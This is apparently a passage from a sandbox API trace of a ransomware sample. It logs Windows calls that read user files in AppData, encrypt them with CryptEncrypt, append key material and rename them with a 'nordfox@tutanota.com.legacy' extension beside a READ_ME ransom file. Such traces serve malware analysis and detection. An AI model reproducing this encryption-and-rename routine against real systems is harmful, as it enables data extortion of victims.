[0200.426] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\session.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c48 [0200.427] GetFileSizeEx (in: hFile=0x1c48, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=76) returned 1 [0200.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db88 [0200.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dc90 [0200.427] ReadFile (in: hFile=0x1c48, lpBuffer=0x56db88, nNumberOfBytesToRead=0x4c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56db88*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c, lpOverlapped=0x0) returned 1 [0200.428] SetFilePointer (in: hFile=0x1c48, lDistanceToMove=-76, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.428] WriteFile (in: hFile=0x1c48, lpBuffer=0x56dc90*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x56dc90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c, lpOverlapped=0x0) returned 1 [0200.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db88 | out: hHeap=0x520000) returned 1 [0200.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0200.428] SetFilePointer (in: hFile=0x1c48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c [0200.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.429] WriteFile (in: hFile=0x1c48, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.429] WriteFile (in: hFile=0x1c48, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.429] CloseHandle (hObject=0x1c48) returned 1 [0200.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0200.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0200.429] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\session.sol"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\session.sol.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ee90 | out: hHeap=0x520000) returned 1 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eb48 | out: hHeap=0x520000) returned 1 [0200.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585038 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585130 | out: hHeap=0x520000) returned 1 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62f08 | out: hHeap=0x520000) returned 1 [0200.431] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7c9b353, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d49f0 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0200.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0200.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78dd0 [0200.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0200.431] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67aa8 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78dd0 | out: hHeap=0x520000) returned 1 [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578828 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67aa8 | out: hHeap=0x520000) returned 1 [0200.432] GetLastError () returned 0x0 [0200.432] SetLastError (dwErrCode=0x0) [0200.432] GetLastError () returned 0x0 [0200.432] SetLastError (dwErrCode=0x0) [0200.432] GetLastError () returned 0x0 [0200.432] SetLastError (dwErrCode=0x0) [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56db30 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56db30 | out: hHeap=0x520000) returned 1 [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62f08 [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4970 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4970 | out: hHeap=0x520000) returned 1 [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62f08 | out: hHeap=0x520000) returned 1 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0200.432] FindNextFileW (in: hFindFile=0x30d49f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c43548, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x7c9b353, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578828 | out: hHeap=0x520000) returned 1 [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0200.432] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79210 [0200.432] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f668b0 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79210 | out: hHeap=0x520000) returned 1 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578950 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f668b0 | out: hHeap=0x520000) returned 1 [0200.433] GetLastError () returned 0x0 [0200.433] SetLastError (dwErrCode=0x0) [0200.433] GetLastError () returned 0x0 [0200.433] SetLastError (dwErrCode=0x0) [0200.433] GetLastError () returned 0x0 [0200.433] SetLastError (dwErrCode=0x0) [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dad8 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dad8 | out: hHeap=0x520000) returned 1 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62e40 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4d70 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4d70 | out: hHeap=0x520000) returned 1 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20270 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62e40 | out: hHeap=0x520000) returned 1 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0200.433] FindNextFileW (in: hFindFile=0x30d49f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9b353, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x7c9b353, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x7c9b353, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578950 | out: hHeap=0x520000) returned 1 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0200.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0200.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66fb8 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0200.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578260 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66fb8 | out: hHeap=0x520000) returned 1 [0200.434] GetLastError () returned 0x0 [0200.434] SetLastError (dwErrCode=0x0) [0200.434] GetLastError () returned 0x0 [0200.434] SetLastError (dwErrCode=0x0) [0200.434] GetLastError () returned 0x0 [0200.434] SetLastError (dwErrCode=0x0) [0200.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63228 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63228 | out: hHeap=0x520000) returned 1 [0200.434] FindNextFileW (in: hFindFile=0x30d49f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.sol", cAlternateFileName="")) returned 1 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0200.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0200.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78b28 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0200.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f66d60 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78b28 | out: hHeap=0x520000) returned 1 [0200.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578138 [0200.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66d60 | out: hHeap=0x520000) returned 1 [0200.434] GetLastError () returned 0x0 [0200.434] SetLastError (dwErrCode=0x0) [0200.434] GetLastError () returned 0x0 [0200.435] SetLastError (dwErrCode=0x0) [0200.435] GetLastError () returned 0x0 [0200.435] SetLastError (dwErrCode=0x0) [0200.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62f58 [0200.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62f58 | out: hHeap=0x520000) returned 1 [0200.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0200.435] FindNextFileW (in: hFindFile=0x30d49f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0200.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0200.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0200.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0200.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0200.435] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.435] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol", dwFileAttributes=0x80) returned 1 [0200.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0200.435] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x2f6b8c0 [0200.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0200.435] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4c [0200.436] GetFileSizeEx (in: hFile=0x1c4c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=197) returned 1 [0200.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc5) returned 0x30c9448 [0200.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc5) returned 0x30c9038 [0200.436] ReadFile (in: hFile=0x1c4c, lpBuffer=0x30c9448, nNumberOfBytesToRead=0xc5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9448*, lpNumberOfBytesRead=0x2e1f9bc*=0xc5, lpOverlapped=0x0) returned 1 [0200.437] SetFilePointer (in: hFile=0x1c4c, lDistanceToMove=-197, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.437] WriteFile (in: hFile=0x1c4c, lpBuffer=0x30c9038*, nNumberOfBytesToWrite=0xc5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30c9038*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc5, lpOverlapped=0x0) returned 1 [0200.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9448 | out: hHeap=0x520000) returned 1 [0200.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30c9038 | out: hHeap=0x520000) returned 1 [0200.437] SetFilePointer (in: hFile=0x1c4c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc5 [0200.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.437] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.437] WriteFile (in: hFile=0x1c4c, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.437] WriteFile (in: hFile=0x1c4c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.437] CloseHandle (hObject=0x1c4c) returned 1 [0200.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0200.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0200.438] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.440] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6b8c0 | out: hHeap=0x520000) returned 1 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0200.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x30f3c50 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585038 | out: hHeap=0x520000) returned 1 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f6b2e8 | out: hHeap=0x520000) returned 1 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63160 | out: hHeap=0x520000) returned 1 [0200.441] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7ce7988, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4970 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578138 | out: hHeap=0x520000) returned 1 [0200.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0200.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f78ee0 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0200.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f675f8 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78ee0 | out: hHeap=0x520000) returned 1 [0200.441] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x578388 [0200.441] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f675f8 | out: hHeap=0x520000) returned 1 [0200.441] GetLastError () returned 0x0 [0200.441] SetLastError (dwErrCode=0x0) [0200.441] GetLastError () returned 0x0 [0200.441] SetLastError (dwErrCode=0x0) [0200.441] GetLastError () returned 0x0 [0200.441] SetLastError (dwErrCode=0x0) [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56def8 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56def8 | out: hHeap=0x520000) returned 1 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f62f08 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4d70 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4d70 | out: hHeap=0x520000) returned 1 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20360 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20360 | out: hHeap=0x520000) returned 1 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62f08 | out: hHeap=0x520000) returned 1 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0200.442] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14717c78, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb8403501, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7ce7988, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578388 | out: hHeap=0x520000) returned 1 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x2f79100 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x2f67c38 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79100 | out: hHeap=0x520000) returned 1 [0200.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x5785d8 [0200.442] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67c38 | out: hHeap=0x520000) returned 1 [0200.442] GetLastError () returned 0x0 [0200.442] SetLastError (dwErrCode=0x0) [0200.442] GetLastError () returned 0x0 [0200.442] SetLastError (dwErrCode=0x0) [0200.442] GetLastError () returned 0x0 [0200.443] SetLastError (dwErrCode=0x0) [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56dd98 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dd98 | out: hHeap=0x520000) returned 1 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x2f63278 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x30d4d70 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d4d70 | out: hHeap=0x520000) returned 1 [0200.443] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f63278 | out: hHeap=0x520000) returned 1 [0200.443] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0200.443] FindNextFileW (in: hFindFile=0x30d4970, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14723fca, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x14723fca, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x14728de9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xbdc, dwReserved0=0x80000018, 